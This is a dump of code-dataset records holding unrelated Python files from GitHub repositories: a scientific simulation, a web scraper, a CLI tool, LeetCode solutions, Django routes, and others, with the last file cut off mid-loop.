upsert:\n self.container.upsert_item(\n body=body,\n )\n else:\n\n doc = list(\n self.container.query_items(\n query=f\"SELECT * FROM c WHERE c.id = '{item['id']}' AND c.partitionKey = '{item['partitionKey']}'\",\n enable_cross_partition_query=False,\n )\n )\n\n if doc:\n payload = doc[0]\n payload.update(body)\n self.container.replace_item(\n item=payload,\n body=payload,\n )\n return True\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"Caproni/BennettFamilySiteApi","sub_path":"bfsa/db/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"13513538098","text":"\"\"\"analysis of results using signed distance functions\"\"\"\nimport sys; sys.path.append(\"../..\"); sys.path.append(\"../../src/\")\n\nimport plantbox as pb\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\npath = \"../../modelparameter/structural/rootsystem/\"\nname = \"Zea_mays_1_Leitner_2010\" # Zea_mays_1_Leitner_2010, Brassica_napus_a_Leitner_2010\n\nrs = pb.RootSystem()\nrs.readParameters(path + name + \".xml\")\nrs.initialize()\nrs.simulate(120)\nrs.write(\"results/example_3b.vtp\")\n\nr, depth, layers = 5, 100., 100 # Soil core analysis\nsoilcolumn = pb.SDF_PlantContainer(r, r, depth, False) # in the center of the root\nsoilcolumn2 = pb.SDF_RotateTranslate(soilcolumn, 0, 0, pb.Vector3d(10, 0, 0)) # shift 10 cm\n\n# pick one geometry for further analysis\ngeom = soilcolumn\n\nz_ = np.linspace(0, -1 * depth, layers)\nfig, axes = plt.subplots(nrows = 1, ncols = 3, figsize = (16, 8))\nfor a in axes:\n a.set_xlabel('RLD (cm/cm^3)') # layer size is 1 cm\n a.set_ylabel('Depth (cm)')\n\n# Make a root length distribution\nlayerVolume = depth / layers * 20 * 20\ntimes = [120, 60, 30, 10]\nana = pb.SegmentAnalyser(rs)\nana.cropDomain(20, 20, depth) # ana.mapPeriodic(20, 20)\nrl_ = []\naxes[0].set_title('All roots in 20*20*100')\nfor t in times:\n ana.filter(\"creationTime\", 0, t)\n rl_.append(ana.distribution(\"length\", 0., -depth, layers, True))\n axes[0].plot(np.array(rl_[-1]) / layerVolume, z_)\naxes[0].legend([\"10 days\", \"30 days\", \"60 days\", \"120 days\"])\n\n# Make a root length distribution along the soil core\nlayerVolume = depth / layers * r * r * np.pi\nana = pb.SegmentAnalyser(rs)\nana.crop(geom)\nana.pack()\nrl_ = []\naxes[1].set_title('Soil core')\nfor t in times:\n ana.filter(\"creationTime\", 0, t)\n rl_.append(ana.distribution(\"length\", 0., -depth, layers, True))\n axes[1].plot(np.array(rl_[-1]) / layerVolume, z_)\naxes[1].legend([\"10 days\", \"30 days\", \"60 days\", \"120 days\"])\n\n# distributions per root type\nana = pb.SegmentAnalyser(rs)\nana.crop(geom)\nana.pack()\nrl_ = []\nfor i in range(1, 5):\n a = pb.SegmentAnalyser(ana) # copy\n a.filter(\"subType\", i)\n rl_.append(a.distribution(\"length\", 0., -depth, layers, True))\naxes[2].set_title('Soil core')\naxes[2].plot((np.array(rl_[0]) + np.array(rl_[3])) / layerVolume, z_)\naxes[2].plot(np.array(rl_[1]) / layerVolume, z_)\naxes[2].plot(np.array(rl_[2]) / layerVolume, z_)\naxes[2].legend([\"basal roots\", \"first order roots\", \"second order roots\"])\n\nfig.subplots_adjust()\nplt.savefig(\"results/example_3b.png\")\nplt.show()\n","repo_name":"Plant-Root-Soil-Interactions-Modelling/CPlantBox","sub_path":"tutorial/examples/example3b_sdfanalysis.py","file_name":"example3b_sdfanalysis.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"20"} +{"seq_id":"40743463910","text":"import sys\nimport json\nimport argparse\nfrom nest_lib import nest_dicts\n\n\ndef build_args_parser():\n parser = argparse.ArgumentParser(\n description=\"Nest the given list of dictionaries according to the given sequence of keys\"\n )\n parser.add_argument(\n \"nesting_keys\",\n nargs=\"+\",\n help=\"Provide nesting keys in the sequence you want to nest them.\",\n )\n\n parser.add_argument(\n \"--input_data\",\n nargs=\"?\",\n type=argparse.FileType(\"r\"),\n default=sys.stdin,\n help=\"Input JSON array. Can be in the form of a file path or passed through stdin\",\n )\n\n return parser\n\n\ndef parse_args():\n args_parser = build_args_parser()\n args = args_parser.parse_args()\n\n if args.input_data.isatty():\n raise ValueError(\"Must provide an input JSON list.\")\n return args\n\n\ndef main():\n try:\n args = parse_args()\n data = json.load(args.input_data)\n tree = nest_dicts(data, args.nesting_keys)\n sys.stdout.write(json.dumps(tree, indent=2))\n except Exception as err:\n sys.stderr.write(\"Failed to nest: \\n\" f\"{err}\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"poudel/bankdata","sub_path":"programming/nest.py","file_name":"nest.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"7614811948","text":"class Solution(object):\n def hammingWeight(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n s = bin(n)\n s = s.replace(\"0b\",\"\")\n num = s.count(\"1\")\n return num\n\ndef main():\n result = Solution().hammingWeight(5)\n print(result)\n return result\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Timelomo/leetcode","sub_path":"191 Number of 1 Bits.py","file_name":"191 Number of 1 Bits.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"4867568839","text":"#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nimport time\ntry:\n from time import monotonic as monotonic_clock\nexcept ImportError:\n # Python 3.2 and older\n from time import time as monotonic_clock\n\n\n# Wait N seconds before stoping a process if the load is higher\n# than the maximum\nNEXT_STOP = 5.0\n\n\ndef get_system_load():\n return os.getloadavg()[0]\n\n\ndef burn_cpu():\n try:\n while 1: pass\n except KeyboardInterrupt:\n pass\n os._exit(0)\n\n\ndef stop_child(proc):\n print(\"Stop child %s\" % proc.pid)\n proc.terminate()\n returncode = proc.wait(1.0)\n if returncode is None:\n print(\"Kill child %s\" % proc.pid)\n proc.kill()\n proc.wait()\n\n\ndef load_controller(min_load, max_load):\n if max_load is not None:\n diff = max_load - min_load\n else:\n diff = 0.0\n if diff < 1.0:\n max_load = min_load + 1.0\n print(\"Adjust max load: %.2f\" % max_load)\n\n processes = []\n next_stop = monotonic_clock() + NEXT_STOP\n try:\n while True:\n load = get_system_load()\n print(\"System load: %.2f (min=%.2f, max=%.2f)\"\n \" -- %s child processes\"\n % (load, min_load, max_load, len(processes)))\n if load < min_load:\n args = [sys.executable, sys.argv[0], 'burn']\n proc = subprocess.Popen(args)\n processes.append(proc)\n print(\"Spawn a new child: %s\" % proc.pid)\n\n next_stop = monotonic_clock() + NEXT_STOP\n else:\n now = monotonic_clock()\n if now >= next_stop and processes and load > max_load:\n next_stop = now + NEXT_STOP\n proc = processes.pop()\n stop_child(proc)\n time.sleep(1.0)\n except KeyboardInterrupt:\n print()\n print(\"CTRL+c: stop\")\n\n for proc in processes:\n stop_child(proc)\n\n print()\n print(\"System load at exit: %.2f\" % get_system_load())\n\n\ndef main():\n if len(sys.argv) == 2 and sys.argv[1] == 'burn':\n burn_cpu()\n\n if len(sys.argv) == 3:\n min_load = float(sys.argv[1])\n max_load = float(sys.argv[1])\n elif len(sys.argv) == 2:\n min_load = float(sys.argv[1])\n max_load = None\n else:\n print(\"usage: %s min_load [max_load]\")\n sys.exit(1)\n load_controller(min_load, max_load)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"amosbird/serverconfig","sub_path":"scripts/system_load.py","file_name":"system_load.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"20"} +{"seq_id":"30221297748","text":"import matplotlib.pyplot as plt\nimport pickle as pkl\nimport sys\nimport pdb\nimport h5py\nimport numpy as np\n\nhstd = h5py.File('./h5corr/1co/corr1co_lstc0.h5')\nh1 = h5py.File('./h5corr/10co/corr10co_lstc0.h5')\nh2 = h5py.File('./h5corr/10no/corr10no_lstc0.h5')\nacstd = hstd['corr'][()].mean(axis=0)\nac1 = h1['corr'][()]\nac2 = h2['corr'][()]\n#ac1 = np.swapaxes(ac1,0,1)\n#ac2 = np.swapaxes(ac2,0,1)\n#ac1 : num,q,phi\nstart = 0\nprint(ac1.shape)\nfor n in range(20,21):\n cc1 = []\n cc2 = []\n print(ac1[:355][:][:].shape)\n for m in range(1,5000):\n cc1.append(np.corrcoef(np.ravel(acstd[start:]),np.ravel(ac1[:m,start:,:].mean(axis=0)))[0][1])\n cc2.append(np.corrcoef(np.ravel(acstd[start:]),np.ravel(ac2[:m,start:,:].mean(axis=0)))[0][1])\n plt.plot(range(len(cc1)),cc1)\n plt.plot(range(len(cc2)),cc2)\nplt.show()\n #print cc\n#ac = np.swapaxes(ac,0,2)\n#print(ac.shape)\n#for q in qs:\n# diffs = []\n# for n in range(1,5000):\n# diffs.append(np.average(ac[dphi][q][:n]))\n# plt.plot(range(len(diffs)),diffs)\n#plt.show()\n","repo_name":"wang101/coherentac","sub_path":"ac/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71810204531","text":"import numpy as np\nimport time\nfrom numba import jit, prange\nimport matplotlib.pyplot as plt\n\nfrom ..util import f_SRM, h_exp_update, h_erlang_update\n\n\ndef ASA1(\n time_end,\n dt,\n Lambda,\n Gamma,\n c=1,\n Delta=1,\n theta=0,\n interaction=0,\n lambda_kappa=20,\n base_I=0,\n I_ext_time=0,\n I_ext=0,\n a_cutoff=5,\n use_LambdaGamma=True,\n m_t0=0,\n rho0=0,\n h_t0=0,\n kappa_type=\"exp\",\n):\n \"\"\"\"\"\"\n if isinstance(Gamma, (float, int)):\n Gamma = [Gamma]\n if isinstance(Lambda, (float, int)):\n Lambda = [Lambda]\n\n Gamma = np.array(Gamma)\n Lambda = np.array(Lambda)\n\n if use_LambdaGamma:\n Gamma = Gamma * Lambda\n\n dim = Gamma.shape[0]\n\n # Need dt = da\n a_grid_size = int(a_cutoff / dt)\n a_grid = np.linspace(0, a_cutoff, a_grid_size)\n a_d_grid = np.vstack((a_grid,) * dim).T\n\n # Shape must be in order: len, d, d\n exp_La = np.exp(-Lambda * a_d_grid)\n\n steps = int(time_end / dt)\n dim = Gamma.shape[0]\n\n # Init vectors\n ts = np.linspace(0, time_end, steps)\n A_t = np.zeros(steps)\n rho_t = np.zeros((steps, a_grid_size))\n m_t = np.zeros((steps, dim))\n h_t = np.zeros(steps)\n k_t = np.zeros(steps)\n\n m_t[0] = m_t0\n rho_t[0, 0] = 1 / dt\n h_t[0] = h_t0\n if isinstance(rho0, np.ndarray):\n rho_t[0] = rho0\n\n # interaction = J from our equations\n J = interaction\n da = dt\n\n c = c * np.exp(-theta / Delta)\n f_SRM_args = dict(c=c, Delta=Delta, theta=theta)\n\n a_iplusone = np.exp(-Lambda * dt)\n\n # a_iplusone = 1\n\n h_args = dict(J=J, lambda_kappa=lambda_kappa, dt=dt)\n\n # @jit(nopython=True, cache=True)\n\n def optimized(rho_t, m_t, h_t):\n for s in range(0, steps - 1):\n x_fixed = I_ext + base_I if I_ext_time < dt * (s + 1) else base_I\n\n num_age_steps = min(s, a_grid_size)\n\n # A_t = rho_t[s, 0]\n # if A_t < 1e-5:\n # A_t = 1e-5\n # print(\"Low activity at step\", s, \":\", A_t)\n\n indices = s - np.arange(num_age_steps)\n m0 = m_t0 * np.ones((a_grid_size - num_age_steps, dim))\n m = np.concatenate((m_t[indices], m0), axis=0)\n exp_m_t = exp_La * m\n\n f = f_SRM(np.sum(exp_m_t, axis=1) + h_t[s], c=c, Delta=Delta, theta=theta)\n\n # firing_prob = np.zeros(a_grid_size)\n # for i in range(a_grid_size):\n # firing_prob[i] = f[i] if i < 1 else 1\n # firing_prob = np.clip(f * da, 0, 1)\n firing_prob = 1 - np.exp(-f * da)\n\n A_t[s] = np.sum(firing_prob * rho_t[s])\n\n if A_t[s] < 1e-6:\n A_t[s] = 1e-6\n\n m_t[s + 1] = (\n np.sum((a_iplusone * exp_m_t + Gamma).T * firing_prob * rho_t[s], axis=1) / A_t[s]\n )\n\n if kappa_type == \"erlang\":\n h_t[s + 1], k_t[s + 1] = h_erlang_update(h_t[s], k_t[s], A_t[s], x_fixed, **h_args)\n else:\n h_t[s + 1] = h_exp_update(h_t[s], A_t[s], x_fixed, **h_args)\n # h_t[s + 1] = h_t[s] + dt * lambda_kappa * (-h_t[s] + (A_t[s] * J + x_fixed))\n\n # Mass loss\n mass_transfer = rho_t[s] * firing_prob\n # rho_t[s + 1] -= mass_transfer\n lass_cell_mass = rho_t[s, -1] # Last cell necessarely spikes\n\n # Linear transport\n rho_t[s + 1, 1:] = rho_t[s, :-1] - mass_transfer[:-1]\n\n # Mass insertion\n rho_t[s + 1, 0] = np.sum(mass_transfer) + lass_cell_mass\n\n return rho_t, m_t, h_t\n\n rho_t, m_t, h_t = optimized(rho_t, m_t, h_t)\n A_t[-1] = rho_t[-1, 0]\n\n mass_conservation = np.sum(rho_t * dt, axis=-1)\n activity = rho_t[:, 0]\n return ts, a_grid, rho_t, m_t, h_t, mass_conservation, A_t\n","repo_name":"jokteur/ASMA","sub_path":"src/flowrect/simulations/pdes/ASA1.py","file_name":"ASA1.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"72561153968","text":"from config import DASHBOARD_LEAGUES, LEAGUE_TEAMS_COUNT, LEAGUE_TEAMS_MAPPING\nfrom datetime import datetime\nimport pandas as pd\nfrom matches.matches import FullSeasonMatches\nimport numpy as np\nimport logging\nfrom logs import setup_logs\nfrom scrapers.builders import SeasonBuilder\n\n\nsetup_logs()\nlogger = logging.getLogger(__name__)\n\n\nclass ValidateMatches:\n def __init__(self, past_matches: pd.DataFrame, future_matches: pd.DataFrame, season_start, season_end):\n self.past_matches = past_matches\n self.future_matches = future_matches\n self.season_start = datetime.strptime(season_start, '%Y-%m-%d').date()\n self.season_end = datetime.strptime(season_end, '%Y-%m-%d').date()\n self.expected_matches = self._get_expected_matches()\n self.full_season = pd.DataFrame()\n self.added_matches = 0\n\n def run(self):\n logger.info(\"Running match validator.\")\n self._cut_past_matches()\n self._get_full_season()\n self._check_number_of_matches()\n\n def _cut_past_matches(self):\n self.past_matches = self.past_matches[self.past_matches['date'] >= self.season_start]\n team_list = [item.lower().replace(' ', '_') for sublist in LEAGUE_TEAMS_MAPPING.values() for item in sublist]\n self.past_matches = self.past_matches[(self.past_matches['pt1'].isin(team_list)) & (self.past_matches['pt2'].isin(team_list))]\n\n def _get_full_season(self):\n self.full_season = pd.concat([self.past_matches, self.future_matches]).reset_index(drop=True)\n\n def _check_number_of_matches(self):\n for league in DASHBOARD_LEAGUES:\n league_expected_matches = self.expected_matches[self.expected_matches['league'] == league]\n actual_matches = self._get_actual_matches(league)\n if len(league_expected_matches) != len(actual_matches):\n no_missing_matches = len(league_expected_matches) - len(actual_matches)\n logger.warning(f\"Expected {len(league_expected_matches)} matches for {league}, but got {len(actual_matches)}.\")\n self._add_missing_matches_to_future(league_expected_matches, actual_matches)\n assert no_missing_matches == self.added_matches, logger.error(f\"Expected {no_missing_matches} missing matches in {league}, but added {self.added_matches}.\")\n \n\n def _get_expected_matches(self) -> pd.DataFrame:\n logger.info(\"Building full season.\")\n season_builder = SeasonBuilder(LEAGUE_TEAMS_MAPPING)\n season_builder.get_all_matches()\n expected_matches = FullSeasonMatches(season_builder.matches)\n expected_matches.clean()\n return expected_matches.matches_df\n \n def _get_actual_matches(self, league) -> pd.DataFrame:\n teams = [team.lower().replace(' ', '_') for team in LEAGUE_TEAMS_MAPPING[league]]\n actual_matches = self.full_season[(self.full_season['league'] == league) & ((self.full_season['pt1'].isin(teams)) | (self.full_season['pt2'].isin(teams)))]\n # actual_matches = actual_matches[actual_matches['pt1'] != 'arsenal'].reset_index(drop=True)\n return actual_matches.drop_duplicates(subset=['pt1', 'pt2'])\n \n def _add_missing_matches_to_future(self, league_expected_matches: pd.DataFrame, actual_matches: pd.DataFrame):\n merged = league_expected_matches.merge(actual_matches, on=['pt1', 'pt2'], how='outer', indicator=True)\n diff = merged[merged['_merge'] != 'both']\n missing_matches = diff[['pt1', 'pt2']]\n missing_matches = self._update_missing_matches(missing_matches, league_expected_matches)\n self.added_matches = missing_matches.shape[0]\n self.future_matches = pd.concat([self.future_matches, missing_matches]).reset_index(drop=True)\n\n def _update_missing_matches(self, df, league_expected_matches):\n df['date'] = self.season_end\n df['league'] = league_expected_matches['league'].unique()[0]\n df['match_id'] = df['pt1'].str.lower() + '_' + df['pt2'].str.lower() + '_' + df['date'].astype(str)\n return df\n\n","repo_name":"ThomasChia/italy","sub_path":"src/preprocessing/validators/validate_matches.py","file_name":"validate_matches.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"3449228594","text":"#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\n# In[1]:\r\n\r\n\r\n# -*- coding: utf-8 -*-\r\n\r\nimport re\r\nimport scrapy\r\n# from scrapy import Selector\r\nfrom Spider.cartoon.cartoon.items import ComicItem\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom scrapy_redis.spiders import RedisSpider\r\n# In[3]:\r\n\r\n\r\nclass ComicSpider(RedisSpider):\r\n name = 'comic'\r\n redis_key = 'ComicSpider:comic_urls'\r\n\r\n def __init__(self):\r\n self.allowed_domains = ['comic.kukudm.com']\r\n #self.start_urls = ['http://comic.kukudm.com/comiclist/2125/']\r\n self.start_urls = ['http://comic.kukudm.com/comiclist/2125/50336/1.htm']\r\n # 匹配图片地址的正则表达式\r\n\r\n # 从start_requests发送请求\r\n def start_requests(self):\r\n chrome_options = Options()\r\n chrome_options.add_argument('--headless')\r\n driver = webdriver.Chrome(options=chrome_options)\r\n driver.get(self.start_urls[0])\r\n page_source = driver.page_source\r\n # 退出\r\n driver.quit()\r\n a = BeautifulSoup(page_source, 'lxml')\r\n item = ComicItem()\r\n print(\"\"\"\r\n\r\n\r\n\r\n\r\n \"\"\")\r\n b = a.find('td',valign='top')\r\n c = b.img['src'] # img_url\r\n d = b.text\r\n e = re.findall(u'共(\\d+)页',d)[0] # page_num\r\n f = re.findall(u'当前第(\\d+)页',d)[0] # page_now\r\n g = re.findall(u'(.+) 2话',d)[0] # dir_name\r\n print('here')\r\n print(c,'\\n',e,'\\n',f,'\\n',g)\r\n print(\"\"\"\r\n\r\n\r\n\r\n\r\n \"\"\")\r\n # 获取章节的第一页的图片链接\r\n # 将获取的章节的第一页的图片链接保存到img_url中\r\n item['link_url'] = self.start_urls[0]\r\n item['img_url'] = c\r\n item['img_page'] = f\r\n item['dir_name'] = g\r\n page_num = e\r\n # 返回item,交给item pipeline下载图片\r\n yield item\r\n # 根据页数,整理出本章节其他页码的链接\r\n pre_link = item['link_url'][:-5]\r\n for each_link in range(2, int(page_num) + 1):\r\n new_link = pre_link + str(each_link) + '.htm'\r\n # 根据本章节其他页码的链接发送Request请求,用于解析其他页码的图片链接,并传递item\r\n yield scrapy.Request(url = new_link, callback = self.parse)\r\n\r\n # 解析获得本章节其他页面的图片链接\r\n def parse(self, response):\r\n # 获取章节的第一页的链接\r\n item = ComicItem()\r\n item['link_url'] = response.url\r\n print(\"\"\"\r\n\r\n\r\n\r\n\r\n \"\"\")\r\n a = BeautifulSoup(str(response.text),'lxml')\r\n b = a.find('td', valign='top')\r\n c = b.img['src'] # img_url\r\n d = b.text\r\n e = re.findall(u'共(\\d+)页', d)[0] # page_num\r\n f = re.findall(u'当前第(\\d+)页', d)[0] # page_now\r\n g = re.findall(u'(.+) 2话', d)[0] # dir_name\r\n print('here')\r\n print(c, '\\n', e, '\\n', f, '\\n', g)\r\n print(\"\"\"\r\n\r\n\r\n\r\n\r\n \"\"\")\r\n # 获取章节的第一页的图片链接\r\n # 将获取的章节的第一页的图片链接保存到img_url中\r\n item['img_url'] = c\r\n item['img_page'] = f\r\n item['dir_name'] = g\r\n # 返回item,交给item pipeline下载图片\r\n yield item\r\n","repo_name":"ms-cs/Scrapy-","sub_path":"cartoon/cartoon/spiders/comic_spider.py","file_name":"comic_spider.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"37464127951","text":"import numpy\n\nimport os\nimport urllib.request, urllib.parse, urllib.error\nimport gzip\nimport pickle as pickle\n\ndef mnist_generator(images, batch_size, limit=None):\n print(images.shape)\n numpy.random.shuffle(images)\n if limit is not None:\n print(\"WARNING ONLY FIRST {} MNIST DIGITS\".format(limit))\n images = images.astype('float32')[:limit]\n\n def get_epoch():\n numpy.random.shuffle(images)\n\n image_batches = images.reshape(-1, batch_size, 784)\n\n for i in range(len(image_batches)):\n yield numpy.copy(image_batches[i])\n\n return get_epoch\n\ndef load(batch_size, test_batch_size, n_labelled=None):\n filepath = '/tmp/mnist.pkl.gz'\n url = 'http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz'\n\n if not os.path.isfile(filepath):\n print(\"Couldn't find MNIST dataset in /tmp, downloading...\")\n urllib.request.urlretrieve(url, filepath)\n\n with gzip.open('/tmp/mnist.pkl.gz', 'rb') as f:\n train_data, dev_data, test_data = pickle.load(f, encoding='latin1')\n return (\n mnist_generator(train_data[0], batch_size), \n mnist_generator(dev_data[0], test_batch_size), \n mnist_generator(test_data[0], test_batch_size)\n )\n","repo_name":"kstoreyf/anomalies-GAN-HSC","sub_path":"models/tflib/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"20"} +{"seq_id":"10193992009","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom api_app.views import (DepartmentListAPIView,\n DepartmentDetailAPIView,\n EmployeeListAPIView,\n EmployeeDetailAPIView,\n ProjectListAPIView,\n ProjectDetailAPIView,\n TaskListAPIView,\n TaskDetailAPIView) \n\n\nurlpatterns = [\n path(\"admin/\", admin.site.urls),\n path(\"api-auth/\", include(\"rest_framework.urls\")),\n path(\"api/department/\", DepartmentListAPIView.as_view(), name=\"department-list\"),\n path(\"api/department//\", DepartmentDetailAPIView.as_view(), name=\"department-detail\"),\n path(\"api/employee/\", EmployeeListAPIView.as_view(), name=\"employee-list\"),\n path(\"api/employee//\", EmployeeDetailAPIView.as_view(), name=\"employee-detail\"),\n path(\"api/project/\", ProjectListAPIView.as_view(), name=\"project-list\"),\n path(\"api/project//\", ProjectDetailAPIView.as_view(), name=\"project-detail\"),\n path(\"api/task/\", TaskListAPIView.as_view(), name=\"task-list\"),\n path(\"api/task//\", TaskDetailAPIView.as_view(), name=\"task-detail\"),\n]\n","repo_name":"ilyanosovsky/DI_Bootcamp","sub_path":"Week6/django_rest/Exercises/management_api_top/management_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"32402564762","text":"\"https://leetcode.cn/problems/sort-array-by-parity/\"\n\nclass Solution:\n def sortArrayByParity(self, nums: List[int]) -> List[int]:\n i, j = 0, len(nums)-1 # 初始化双指针 i 指向开头,j 指向结尾\n while i < j: # 当 i 和 j 没有相遇时\n if nums[i]%2==0: # 如果 nums[i] 是偶数\n i+=1 # i 向右移动一位\n elif nums[j]%2==1: # 如果 nums[j] 是奇数\n j-=1 # j 向左移动一位\n else: # 如果 nums[i] 是奇数,nums[j] 是偶数\n nums[i], nums[j] = nums[j], nums[i] # 交换两个数的位置\n i+=1 # i 向右移动一位\n j-=1 # j 向左移动一位\n return nums # 返回排好序的数组\n","repo_name":"xiaoyichao/coding","sub_path":"数组/按奇偶排序数组.py","file_name":"按奇偶排序数组.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"38174078203","text":"########################################################################\n# ___ _ _____________\n# / | / | / /_ __/ ___/\n# / /| | / |/ / / / \\__ \\ \n# / ___ |/ /| / / / ___/ / \n# /_/ |_/_/ |_/ /_/ /____/ \n#\n# Two dimensional, seven energy group problem using multiple materials \n# based off of Hou et al. \"C5G7-TD Benchmark for Time-Dependent \\\n# Heterogeneous Neutron Transport Calculations\" (2017).\n# \n########################################################################\n\nimport ants\nfrom ants.critical2d import power_iteration\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ncells_x = 102\ncells_y = 102\nangles = 4\ngroups = 7\n\nlength_x = 64.26\nlength_y = 64.26\ndelta_x = np.repeat(length_x / cells_x, cells_x)\ndelta_y = np.repeat(length_y / cells_y, cells_y)\n\nedges_x = np.linspace(0, length, cells+1)\ncenters_x = 0.5 * (edges_x[1:] + edges_x[:-1])\n\nbc = [0, 0]\n\nparams = {\n \"cells_x\": cells_x, \n \"cells_y\": cells_y, \n \"angles\": angles,\n \"groups\": groups, \n \"materials\": 5, \n \"geometry\": 1, \n \"spatial\": 2, \n \"qdim\": 2, \n \"bc_x\": bc, \n \"bcdim_x\": 0, \n \"bc_y\": bc, \n \"bcdim_y\": 0, \n \"angular\": False\n }\n\nangle_x, angle_w = ants._angle_x(params)\nmaterials = [[0, \"quasi\", \"0-1\"], [1, \"scatter\", \"1-2\"]]\nmedium_map = ants._medium_map(materials, edges_x)\n\nxs_total = np.array([[1.0], [1.0]])\nxs_scatter = np.array([[[0.3]], [[0.9]]])\nxs_fission = np.array([[[0.0]], [[0.0]]])\n\nexternal = ants.externals(\"mms-05\", (cells, angles), \\\n centers_x=centers_x, angle_x=angle_x).flatten()\nboundary = ants.boundaries(\"mms-05\", (2, angles), [0, 1], \\\n angle_x=angle_x).flatten()\n\nflux = source_iteration(xs_total, xs_scatter, xs_fission, external, \\\n boundary, medium_map, delta_x, angle_x, angle_w, \\\n params)\n\n\nexact = mms.solution_mms_05(centers_x, angle_x)\n\ncolors = sns.color_palette(\"hls\", angles)\n\nfig, ax = plt.subplots()\nfor n in range(angles):\n ax.plot(centers_x, flux[:,n,0], color=colors[n], alpha=0.6, \\\n label=\"Angle {}\".format(n))\n ax.plot(centers_x, exact[:,n], color=colors[n], ls=\":\")\nax.plot([], [], c=\"k\", label=\"Approximate\")\nax.plot([], [], c=\"k\", ls=\":\", label=\"Analytical\")\nax.legend(loc=0, framealpha=1)\nax.grid(which=\"both\")\nax.set_xlabel(\"Location (cm)\")\nax.set_ylabel(\"Angular Flux\")\nax.set_title(\"Manufactured Solutions\")\nplt.show()\n","repo_name":"bwhewe-13/ants","sub_path":"examples/critical_2d_C5G7.py","file_name":"critical_2d_C5G7.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"6860108233","text":"from pickle import TRUE\nimport cv2\nimport mediapipe as mp\n\nimport imutils\nimport numpy as np\nimport argparse\nimport os\n\nimport tempfile\nfrom typing import NamedTuple\n\nfrom pythonosc import udp_client\n\nfrom joblib import dump,load\nfrom hand_detection_utils import *\nfrom SVM import *\n\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\nmp_holistic = mp.solutions.holistic;\nmp_hands = mp.solutions.hands\n\n# argparse helps writing user-friendly commandline interfaces\nparser = argparse.ArgumentParser()\n# OSC server ip\nparser.add_argument(\"--ip\", default='127.0.0.1', help=\"The ip of the OSC server\")\n# OSC server port (check on SuperCollider)\nparser.add_argument(\"--port\", type=int, default=57120, help=\"The port the OSC server is listening on\")\n\n# Parse the arguments\nargs = parser.parse_args()\n\n# Start the UDP Client\nclient = udp_client.SimpleUDPClient(args.ip, args.port)\n\nif __name__ == \"__main__\":\n \n counter = 0\n\n# Usage info\n print('USAGE:')\n print('\t-Before training generate the images for the the two classes press \"a\" for class 1 and \"b\" for class 2:')\n print('\t\t-Press \"a\" to save class A images')\n print('\t\t-Press \"b\" to save class B images')\n print('\t-Press \"t\" to start SVM training (if a model has already been saved, it will be loaded)')\n print('\t-Press \"s\" to send OSC messages/packets to Touch Designer (must be pressed after training)')\n print('\t-Press \"q\" to stop sound and \"q\" to stop image capture')\n \n # initialize weight for running average\n aWeight = 0.5\n\n num_frames_train = 0\n\n # initialize num of frames\n num_frames = 0\n\n # For webcam input:\n cap = cv2.VideoCapture(0)\n\n # Initialize variables\n TRAIN = False # If True, images for the classes are generated\n SVM = False # If True classification is performed\n START_SOUND = False # If True OSC communication with SC is started\n\n with mp_holistic.Holistic(\n #model_complexity = 2,\n enable_segmentation = True,\n refine_face_landmarks = True,\n min_detection_confidence=0.5,\n min_tracking_confidence=0.5) as holistic:\n while cap.isOpened():\n success, image = cap.read()\n # image = imutils.resize(image, width=700)\n if not success:\n print(\"Ignoring empty camera frame.\")\n # If loading a video, use 'break' instead of 'continue'.\n continue\n\n # flip the frame so that it's not in the mirror view\n #image = cv2.flip(image, 1)\n\n # clone the frame\n clone = image.copy()\n\n # get high and width of the frame\n (heigth, width) = image.shape[:2]\n\n # convert the image to grayscale and blur it\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (7, 7), 0)\n\n\n # to get the background, keep looking till a threshold is 